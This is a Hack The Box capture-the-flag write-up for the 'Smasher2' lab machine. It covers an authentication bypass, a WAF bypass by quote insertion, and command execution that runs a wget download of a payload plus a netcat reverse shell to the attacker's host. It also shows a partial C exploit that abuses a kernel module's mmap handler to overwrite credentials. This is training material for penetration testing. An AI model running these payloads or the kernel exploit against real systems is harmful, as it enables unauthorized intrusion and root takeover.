Hack The Box - Smasher2

Quick Summary

Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE combined with a WAF bypass, then a kernel module with an insecure mmap handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135 , I added it to /etc/hosts as smasher2.htb . Let’s jump right in!

Nmap

As always we will start with nmap to scan for open ports and services:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

root@kali:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 07:32 EST

Nmap scan report for smasher2.htb (10.10.10.135)

Host is up (0.18s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)

| 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)

|_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)

53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)

| dns-nsid:

|_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: 403 Forbidden

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel



Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds

root@kali:~/Desktop/HTB/boxes/smasher2#



We got ssh on port 22, dns on port 53 and http on port 80.

DNS

First thing I did was to enumerate vhosts through the dns server and I got 1 result:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

root@kali:~/Desktop/HTB/boxes/smasher2# dig axfr smasher2.htb @10.10.10.135



; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr smasher2.htb @10.10.10.135

;; global options: +cmd

smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800

smasher2.htb. 604800 IN NS smasher2.htb.

smasher2.htb. 604800 IN A 127.0.0.1

smasher2.htb. 604800 IN AAAA ::1

smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb.

smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800

;; Query time: 299 msec

;; SERVER: 10.10.10.135#53(10.10.10.135)

;; WHEN: Fri Dec 13 07:36:43 EST 2019

;; XFR size: 6 records (messages 1, bytes 242)



root@kali:~/Desktop/HTB/boxes/smasher2#



wonderfulsessionmanager.smasher2.htb , I added it to my hosts file.

Web Enumeration

http://smasher2.htb had the default Apache index page:



http://wonderfulsessionmanager.smasher2.htb :



The only interesting here was the login page:



I kept testing it for a while and the responses were like this one:





It didn’t request any new pages so I suspected that it’s doing an AJAX request, I intercepted the login request to find out the endpoint it was requesting:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

POST /auth HTTP/1.1

Host : wonderfulsessionmanager.smasher2.htb

User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept : application/json, text/javascript, */*; q=0.01

Accept-Language : en-US,en;q=0.5

Accept-Encoding : gzip, deflate

Referer : http://wonderfulsessionmanager.smasher2.htb/login

Content-Type : application/json

X-Requested-With : XMLHttpRequest

Content-Length : 80

Connection : close

Cookie : session=eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg



{"action":"auth","data":{"username":"test","password":"test"}}



While browsing http://wonderfulsessionmanager.smasher2.htb I had gobuster running in the background on http://smasher2.htb/ :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

root@kali:~/Desktop/HTB/boxes/smasher2# gobuster dir -u http://smasher2.htb/ -w /usr/share/wordlists/dirb/common.txt

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

===============================================================

[+] Url: http://smasher2.htb/

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirb/common.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

===============================================================

2019/12/13 07:37:54 Starting gobuster

===============================================================

/.git/HEAD (Status: 403)

/.hta (Status: 403)

/.bash_history (Status: 403)

/.config (Status: 403)

/.bashrc (Status: 403)

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/.profile (Status: 403)

/.mysql_history (Status: 403)

/.sh_history (Status: 403)

/.svn/entries (Status: 403)

/_vti_bin/_vti_adm/admin.dll (Status: 403)

/_vti_bin/shtml.dll (Status: 403)

/_vti_bin/_vti_aut/author.dll (Status: 403)

/akeeba.backend.log (Status: 403)

/awstats.conf (Status: 403)

/backup (Status: 301)

/development.log (Status: 403)

/global.asa (Status: 403)

/global.asax (Status: 403)

/index.html (Status: 200)

/main.mdb (Status: 403)

/php.ini (Status: 403)

/production.log (Status: 403)

/readfile (Status: 403)

/server-status (Status: 403)

/spamlog.log (Status: 403)

/Thumbs.db (Status: 403)

/thumbs.db (Status: 403)

/web.config (Status: 403)

/WS_FTP.LOG (Status: 403)

===============================================================

2019/12/13 07:39:17 Finished

===============================================================

root@kali:~/Desktop/HTB/boxes/smasher2#



The only result that wasn’t 403 was /backup so I checked that and found 2 files:



Note: Months ago when I solved this box for the first time /backup was protected by basic http authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it.

I downloaded the files to my box:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

root@kali:~/Desktop/HTB/boxes/smasher2# mkdir backup

root@kali:~/Desktop/HTB/boxes/smasher2# cd backup/

root@kali:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/auth.py

--2019-12-13 07:40:19-- http://smasher2.htb/backup/auth.py

Resolving smasher2.htb (smasher2.htb)... 10.10.10.135

Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 4430 (4.3K) [text/x-python]

Saving to: ‘auth.py’



auth.py 100%[=======================================================================================================================================>] 4.33K --.-KB/s in 0.07s



2019-12-13 07:40:20 (64.2 KB/s) - ‘auth.py’ saved [4430/4430]



root@kali:~/Desktop/HTB/boxes/smasher2/backup# wget http://smasher2.htb/backup/ses.so

--2019-12-13 07:40:43-- http://smasher2.htb/backup/ses.so

Resolving smasher2.htb (smasher2.htb)... 10.10.10.135

Connecting to smasher2.htb (smasher2.htb)|10.10.10.135|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 18608 (18K)

Saving to: ‘ses.so’



ses.so 100%[=======================================================================================================================================>] 18.17K 85.2KB/s in 0.2s



2019-12-13 07:40:44 (85.2 KB/s) - ‘ses.so’ saved [18608/18608]



root@kali:~/Desktop/HTB/boxes/smasher2/backup#



By looking at auth.py I knew that these files were related to wonderfulsessionmanager.smasher2.htb .

auth.py: Analysis

auth.py :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147



import ses

from flask import session,redirect, url_for, request,render_template, jsonify,Flask, send_from_directory

from threading import Lock

import hashlib

import hmac

import os

import base64

import subprocess

import time



def get_secure_key () :

m = hashlib.sha1()

m.update(os.urandom( 32 ))

return m.hexdigest()



def craft_secure_token (content) :

h = hmac.new( "HMACSecureKey123!" , base64.b64encode(content).encode(), hashlib.sha256)

return h.hexdigest()





lock = Lock()

app = Flask(__name__)

app.config[ 'SECRET_KEY' ] = get_secure_key()

Managers = {}



def log_creds (ip, c) :

with open( "creds.log" , "a" ) as creds:

creds.write( "Login from {} with data {}:{}

" .format(ip, c[ "username" ], c[ "password" ]))

creds.close()



def safe_get_manager (id) :

lock.acquire()

manager = Managers[id]

lock.release()

return manager



def safe_init_manager (id) :

lock.acquire()

if id in Managers:

del Managers[id]

else :

login = [ "<REDACTED>" , "<REDACTED>" ]

Managers.update({id: ses.SessionManager(login, craft_secure_token( ":" .join(login)))})

lock.release()



def safe_have_manager (id) :

ret = False

lock.acquire()

ret = id in Managers

lock.release()

return ret





def before_request () :

if request.path == "/" :

if not session.has_key( "id" ):

k = get_secure_key()

safe_init_manager(k)

session[ "id" ] = k

elif session.has_key( "id" ) and not safe_have_manager(session[ "id" ]):

del session[ "id" ]

return redirect( "/" , 302 )

else :

if session.has_key( "id" ) and safe_have_manager(session[ "id" ]):

pass

else :

return redirect( "/" , 302 )





def after_request (resp) :

return resp







def base_static (filename) :

return send_from_directory(app.root_path + '/assets/' , filename)







def index () :

return render_template( "index.html" )







def view_login () :

return render_template( "login.html" )





def login () :

ret = { "authenticated" : None , "result" : None }

manager = safe_get_manager(session[ "id" ])

data = request.get_json(silent= True )

if data:

try :

tmp_login = dict(data[ "data" ])

except :

pass

tmp_user_login = None

try :

is_logged = manager.check_login(data)

secret_token_info = [ "/api/<api_key>/job" , manager.secret_key, int(time.time())]

try :

tmp_user_login = { "username" : tmp_login[ "username" ], "password" : tmp_login[ "password" ]}

except :

pass

if not is_logged[ 0 ]:

ret[ "authenticated" ] = False

ret[ "result" ] = "Cannot authenticate with data: %s - %s" % (is_logged[ 1 ], "Too many tentatives, wait 2 minutes!" if manager.blocked else "Try again!" )

else :

if tmp_user_login is not None :

log_creds(request.remote_addr, tmp_user_login)

ret[ "authenticated" ] = True

ret[ "result" ] = { "endpoint" : secret_token_info[ 0 ], "key" : secret_token_info[ 1 ], "creation_date" : secret_token_info[ 2 ]}

except TypeError as e:

ret[ "authenticated" ] = False

ret[ "result" ] = str(e)

else :

ret[ "authenticated" ] = False

ret[ "result" ] = "Cannot authenticate missing parameters."

return jsonify(ret)







def job (key) :

ret = { "success" : None , "result" : None }

manager = safe_get_manager(session[ "id" ])

if manager.secret_key == key:

data = request.get_json(silent= True )

if data and type(data) == dict:

if "schedule" in data:

out = subprocess.check_output([ 'bash' , '-c' , data[ "schedule" ]])

ret[ "success" ] = True

ret[ "result" ] = out

else :

ret[ "success" ] = False

ret[ "result" ] = "Missing schedule parameter."

else :

ret[ "success" ] = False

ret[ "result" ] = "Invalid value provided."

else :

ret[ "success" ] = False

ret[ "result" ] = "Invalid token."

return jsonify(ret)





app.run(host= '127.0.0.1' , port= 5000 )



I read the code and these are the things that interest us:

After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job :

1

2

ret[ "authenticated" ] = True

ret[ "result" ] = { "endpoint" : secret_token_info[ 0 ], "key" : secret_token_info[ 1 ], "creation_date" : secret_token_info[ 2 ]}



1

secret_token_info = [ "/api/<api_key>/job" , manager.secret_key, int(time.time())]



That endpoint only accepts POST requests:

1





And the sent data has to be json :

1

2

3

data = request.get_json(silent= True )

if data and type(data) == dict:

...



Through that endpoint we can execute system commands by providing them in a parameter called schedule :

1

2

3

4

if "schedule" in data:

out = subprocess.check_output([ 'bash' , '-c' , data[ "schedule" ]])

ret[ "success" ] = True

ret[ "result" ] = out



session.so: Analysis –> Authentication Bypass

session.so is a compiled shared python library, so stands for shared object:

1

2

3

root@kali:~/Desktop/HTB/boxes/smasher2/backup# file ses.so

ses.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0c67d40b77854318b10417b4aedfee95a52f0550, not stripped

root@kali:~/Desktop/HTB/boxes/smasher2/backup#



I opened it in ghidra and started checking the functions. Two functions caught my attention, get_internal_pwd() and get_internal_usr() :



I looked at the decompiled code of both of them and noticed something strange, they were the exact same:

get_internal_pwd() :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

undefined8 get_internal_pwd (undefined8 param_1)



{

long *plVar1;

undefined8 uVar2;



plVar1 = ( long *)PyObject_GetAttrString(param_1, "user_login" );

uVar2 = PyList_GetItem(plVar1, 0 );

uVar2 = PyString_AsString(uVar2);

*plVar1 = *plVar1 + -1 ;

if (*plVar1 == 0 ) {

(**(code **)(plVar1[ 1 ] + 0x30 ))(plVar1);

}

return uVar2;

}



get_internal_usr() :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

undefined8 get_internal_usr (undefined8 param_1)



{

long *plVar1;

undefined8 uVar2;



plVar1 = ( long *)PyObject_GetAttrString(param_1, "user_login" );

uVar2 = PyList_GetItem(plVar1, 0 );

uVar2 = PyString_AsString(uVar2);

*plVar1 = *plVar1 + -1 ;

if (*plVar1 == 0 ) {

(**(code **)(plVar1[ 1 ] + 0x30 ))(plVar1);

}

return uVar2;

}



1

2

3

4

5

6

root@kali:~/Desktop/HTB/boxes/smasher2/backup

1 c1

< undefined8 get_internal_usr (undefined8 param_1)

---

> undefined8 get_internal_pwd (undefined8 param_1)

root@kali:~/Desktop/HTB/boxes/smasher2/backup#



So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication.

I tried some common usernames before attempting to use wfuzz , Administrator worked:



WAF Bypass –> RCE –> Shell as dzonerzy –> Root Flag

I wrote a small script to execute commands through /api/<key>/job as we saw earlier in auth.py , the script was meant for testing purposes:

1

2

3

4

5

6

7

8

9

10



from requests import post



cookies = { "session" : "eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg" }



while True :

cmd = input( "cmd: " )

req = post( "http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job" , json={ "schedule" :cmd}, cookies=cookies)

response = req.text

print(response)



Testing with whoami worked just fine:

1

2

3

4

5

root@kali:~/Desktop/HTB/boxes/smasher2# ./test.py

cmd: whoami

{"result":"dzonerzy

","success":true}



cmd:



However when I tried other commands I got a 403 response indicating that the server was protected by a WAF :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

cmd: curl http://10.10.xx.xx

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>403 Forbidden</title>

</head><body>

<h1>Forbidden</h1>

<p>You don't have permission to access /api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job

on this server.<br />

</p>



<address>Apache/2.4.29 (Ubuntu) Server at wonderfulsessionmanager.smasher2.htb Port 80</address>

</body></html>



cmd:



I could easily bypass it by inserting single quotes in the command:

1

2

3

4

5

6

7

cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<title>500 Internal Server Error</title>

<h1>Internal Server Error</h1>

<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>



cmd:



1

2

3

Serving HTTP on 0.0.0.0 port 80 ...

10.10.10.135 - - [13/Dec/2019 08:18:33] code 404, message File not found

10.10.10.135 - - [13/Dec/2019 08:18:33] "GET /test HTTP/1.1" 404 -



To automate the exploitation process I wrote this small exploit:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30



import requests



YELLOW = "\033[93m"

GREEN = "\033[32m"



def getKey (session) :

req = session.post( "http://wonderfulsessionmanager.smasher2.htb/auth" , json={ "action" : "auth" , "data" :{ "username" : "Administrator" , "password" : "Administrator" }})

response = req.json()

key = response[ 'result' ][ 'key' ]

return key



def exploit (session, key) :

download_payload = "\'w\'g\'e\'t \'h\'t\'t\'p\':\'/\'/\'1\'0\'.\'1\'0\'.\'x\'x\'.\'x\'x\'/\'s\'h\'e\'l\'l\'.\'s\'h\'"

print(YELLOW + "[+] Downloading payload" )

download_req = session.post( "http://wonderfulsessionmanager.smasher2.htb/api/{}/job" .format(key), json={ "schedule" :download_payload})

print(GREEN + "[*] Done" )

exec_payload = "s\'h\' \'s\'h\'e\'l\'l\'.\'s\'h"

print(YELLOW + "[+] Executing payload" )

exec_req = session.post( "http://wonderfulsessionmanager.smasher2.htb/api/{}/job" .format(key), json={ "schedule" :exec_payload})

print(GREEN + "[*] Done. Exiting ..." )

exit()



session = requests.Session()

session.get( "http://wonderfulsessionmanager.smasher2.htb/login" )

print(YELLOW + "[+] Authenticating" )

key = getKey(session)

print(GREEN + "[*] Session: " + session.cookies.get_dict()[ 'session' ])

print(GREEN + "[*] key: " + key)

exploit(session, key)



The exploit sends 2 commands, the first one is a wget command that downloads shell.sh and the other one executes it.

shell.sh :

1

2



rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f



I hosted it on a python server and I started a netcat listener on port 1337 then I ran the exploit:



We owned user.

dhid.ko: Enumeration

After getting a shell I copied my public ssh key to /home/dzonerzy/.ssh/authorized_keys and got ssh access.

In the home directory of dzonerzy there was a README containing a message from him saying that we’ll need to think outside the box to root smasher2:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

dzonerzy@smasher2:~$ ls -al

total 44

drwxr-xr-x 6 dzonerzy dzonerzy 4096 Feb 17 2019 .

drwxr-xr-x 3 root root 4096 Feb 15 2019 ..

lrwxrwxrwx 1 dzonerzy dzonerzy 9 Feb 15 2019 .bash_history -> /dev/null

-rw-r--r-- 1 dzonerzy dzonerzy 220 Feb 15 2019 .bash_logout

-rw-r--r-- 1 dzonerzy dzonerzy 3799 Feb 16 2019 .bashrc

drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .cache

drwx------ 3 dzonerzy dzonerzy 4096 Feb 15 2019 .gnupg

drwx------ 5 dzonerzy dzonerzy 4096 Feb 17 2019 .local

-rw-r--r-- 1 dzonerzy dzonerzy 807 Feb 15 2019 .profile

-rw-r--r-- 1 root root 900 Feb 16 2019 README

drwxrwxr-x 4 dzonerzy dzonerzy 4096 Dec 13 12:50 smanager

-rw-r----- 1 root dzonerzy 33 Feb 17 2019 user.txt

dzonerzy@smasher2:~$ cat README





.|'''.| '||

||.. ' .. .. .. .... .... || .. .... ... ..

''|||. || || || '' .|| ||. ' ||' || .|...|| ||' ''

. '|| || || || .|' || . '|.. || || || ||

|'....|' .|| || ||. '|..'|' |'..|' .||. ||. '|...' .||. v2.0



by DZONERZY



Ye you've come this far and I hope you've learned something new, smasher wasn't created

with the intent to be a simple puzzle game... but instead I just wanted to pass my limited

knowledge to you fellow hacker, I know it's not much but this time you'll need more than

skill, you will need to think outside the box to complete smasher 2 , have fun and happy



Hacking!



free(knowledge);

free(knowledge);

* error for object 0xd00000000b400: pointer being freed was not allocated *





dzonerzy@smasher2:~$



After some enumeration, I checked the auth log and saw this line:

1

2

3

4

5

6

7

8

9

dzonerzy@smasher2:~$ cat /var/log/auth.log

----------

Redacted

----------

Dec 13 11:49:34 smasher2 sudo: root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/sbin/insmod /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko

----------

Redacted

----------

dzonerzy@smasher2:~$



insmod (stands for insert module ) is a tool used to load kernel modules. dhid.ko is a kernel module ( ko stands for kernel object)

1

2

3

4

dzonerzy@smasher2:~$ cd /lib/modules/4.15.0-45-generic/kernel/drivers/hid/

dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ file dhid.ko

dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped

dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$



I checked the loaded kernel modules and that module was still loaded:

1

2

3

dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ lsmod | grep dhid

dhid 16384 0

dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$



We can use modinfo to list the information about that module, as you can see it was written by dzonerzy :

1

2

3

4

5

6

7

8

9

10

11

12

dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ modinfo dhid

filename: /lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko

version: 1.0

description: LKM for dzonerzy dhid devices

author: DZONERZY

license: GPL

srcversion: 974D0512693168483CADFE9

depends:

retpoline: Y

name: dhid

vermagic: 4.15.0-45-generic SMP mod_unload

dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$



Last thing I wanted to check was if there was device driver file for the module:

1

2

3

dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ ls -la /dev/ | grep dhid

crwxrwxrwx 1 root root 243, 0 Dec 13 11:49 dhid

dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$



I downloaded the module on my box to start analyzing it:

1

2

3

4

5

root@kali:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa dzonerzy@smasher2.htb:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./

dhid.ko 100% 8872 16.1KB/s 00:00

root@kali:~/Desktop/HTB/boxes/smasher2# file dhid.ko

dhid.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=d4315261f7c9c38393394f6779378abcff6270d2, not stripped

root@kali:~/Desktop/HTB/boxes/smasher2#



dhid.ko: Analysis

I opened the module in ghidra then I started checking the functions:



The function dev_read() had a hint that this is the intended way to root the box:

1

2

3

4

5

6

7

8

9

long dev_read (undefined8 param_1,undefined8 param_2)



{

int iVar1;



__fentry__();

iVar1 = _copy_to_user(param_2, "This is the right way, please exploit this shit!" , 0x30 );

return (ulong)(-(uint)(iVar1 == 0 ) & 0xf ) - 0xe ;

}



One interesting function that caught my attention was dev_mmap() :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

ulong dev_mmap (undefined8 param_1, long *param_2)



{

uint uVar1;

ulong uVar2;

uint uVar3;



__fentry__();

uVar3 = ( int )param_2[ 1 ] - *( int *)param_2;

uVar1 = (uint)(param_2[ 0x13 ] << 0xc );

printk(&DAT_00100380,(ulong)uVar3,param_2[ 0x13 ] << 0xc & 0xffffffff );

if (((( int )uVar3 < 0x10001 ) && (uVar1 < 0x1001 )) && (( int )(uVar3 + uVar1) < 0x10001 )) {

uVar1 = remap_pfn_range(param_2,*param_2,( long )( int )uVar1,param_2[ 1 ] - *param_2,param_2[ 9 ]);

uVar2 = (ulong)uVar1;

if (uVar1 == 0 ) {

printk(&DAT_0010057b);

}

else {

uVar2 = 0xfffffff5 ;

printk(&DAT_00100567);

}

}

else {

uVar2 = 0xfffffff5 ;

printk(&DAT_001003b0);

}

return uVar2;

}



In case you don’t know what mmap is, simply mmap is a system call which is used to map memory to a file or a device. (Check this)

The function dev_mmap() is a custom mmap handler.

The interesting part here is the call to remap_pfn_range() function (remap kernel memory to userspace):

1

remap_pfn_range(param_2,*param_2,( long )( int )uVar1,param_2[ 1 ] - *param_2,param_2[ 9 ]);



I checked the documentation of remap_pfn_range() to know more about it, the function takes 5 arguments:

1

2

3

4

5

int remap_pfn_range ( struct vm_area_struct * vma,

unsigned long addr,

unsigned long pfn,

unsigned long size ,

pgprot_t prot) ;



Description of each argument:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

struct vm_area_struct * vma

user vma to map to



unsigned long addr

target user address to start at



unsigned long pfn

physical address of kernel memory



unsigned long size

size of map area



pgprot_t prot

page protection flags for this mapping



If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

ulong dev_mmap (undefined8 param_1, long *param_2)



{

uint uVar1;

ulong uVar2;

uint uVar3;



__fentry__();

uVar3 = ( int )param_2[ 1 ] - *( int *)param_2;

uVar1 = (uint)(param_2[ 0x13 ] << 0xc );

printk(&DAT_00100380,(ulong)uVar3,param_2[ 0x13 ] << 0xc & 0xffffffff );

if (((( int )uVar3 < 0x10001 ) && (uVar1 < 0x1001 )) && (( int )(uVar3 + uVar1) < 0x10001 )) {

uVar1 = remap_pfn_range(param_2,*param_2,( long )( int )uVar1,param_2[ 1 ] - *param_2,param_2[ 9 ]);

...



This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.

dhid.ko: Exploitation –> Root Shell –> Root Flag

Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred structure (The cred structure holds our process credentials) then overwrite our uid and gid with 0 and execute /bin/sh . Let’s go through it step by step.

First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34















int main ( int argc, char * const * argv) {



printf ( "[+] PID: %d

" , getpid());

int fd = open ( "/dev/dhid" , O_RDWR);



if (fd < 0 ){

printf ( "[!] Open failed!

" );

return -1 ;

}



printf ( "[*] Open OK fd: %d

" , fd);



unsigned long size = 0xf0000000 ;

unsigned long mmapStart = 0x42424000 ;

unsigned int * addr = ( unsigned int *)mmap(( void *)mmapStart, size , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0 );



if (addr == MAP_FAILED){

perror( "[!] Failed to mmap" );

close (fd);

return -1 ;

}



printf ( "[*] mmap OK address: %lx

" , addr);



int stop = getchar();

return 0 ;

}



I compiled the code and uploaded it to the box:

1

2

3

4

root@kali:~/Desktop/HTB/boxes/smasher2# gcc -o pwn pwn.c

root@kali:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa ./pwn dzonerzy@smasher2.htb:/dev/shm/pwn

pwn 100% 17KB 28.5KB/s 00:00

root@kali:~/Desktop/HTB/boxes/smasher2#



Then I ran it:

1

2

3

4

dzonerzy@smasher2:/dev/shm$ ./pwn

[+] PID: 8186

[*] Open OK fd: 3

[*] mmap OK address: 42424000



From another ssh session I checked the process memory mapping, the attempt was successful:

1

2

3

4

5

6

dzonerzy@smasher2:/dev/shm$ cat /proc/8186/maps

42424000-132424000 rw-s 00000000 00:06 440 /dev/dhid

----------

Redacted

----------

dzonerzy@smasher2:/dev/shm$



Now we can start searching for the cred structure that belongs to our process, if we take a look at the how the cred structure looks like:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

struct cred {

atomic_t usage;



atomic_t subscribers;

void *put_addr;

unsigned magic;







kuid_t uid;

kgid_t gid;

kuid_t suid;

kgid_t sgid;

kuid_t euid;

kgid_t egid;

kuid_t fsuid;

kgid_t fsgid;

unsigned securebits;

kernel_cap_t cap_inheritable;

kernel_cap_t cap_permitted;

kernel_cap_t cap_effective;

kernel_cap_t cap_bset;

kernel_cap_t cap_ambient;



unsigned char jit_keyring;



struct key * session_keyring ;

struct key * process_keyring ;

struct key * thread_keyring ;

struct key * request_key_auth ;





void *security;



struct user_struct * user ;

struct user_namespace * user_ns ;

struct group_info * group_info ;



union {

int non_rcu;

struct rcu_head rcu ;

};

}



We’ll notice that the first 8 integers (representing our uid , gid , saved uid , saved gid , effective uid , effective gid , uid and gid for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:

1

2

3

4

5

6

7

8

kuid_t uid;

kgid_t gid;

kuid_t suid;

kgid_t sgid;

kuid_t euid;

kgid_t egid;

kuid_t fsuid;

kgid_t fsgid;



These 8 integers are followed by a variable called securebits :

1

unsigned securebits;



Then that variable is followed by our capabilities:

1

2

3

4

5

kernel_cap_t cap_inheritable;

kernel_cap_t cap_permitted;

kernel_cap_t cap_effective;

kernel_cap_t cap_bset;

kernel_cap_t cap_ambient;



Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred structure pattern we’ll overwrite each integer of the 8 with a 0 and check if our uid changed to 0 , we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff and execute /bin/sh . Let’s try to implement the search for cred structures first.

To do that we will get our uid with getuid() :

1

unsigned int uid = getuid();



Then search for 8 consecutive integers that are equal to our uid , when we find a cred structure we’ll print its pointer and keep searching:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

while ((( unsigned long )addr) < (mmapStart + size - 0x40 )){

credIt = 0 ;

if (

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

addr[credIt++] == uid &&

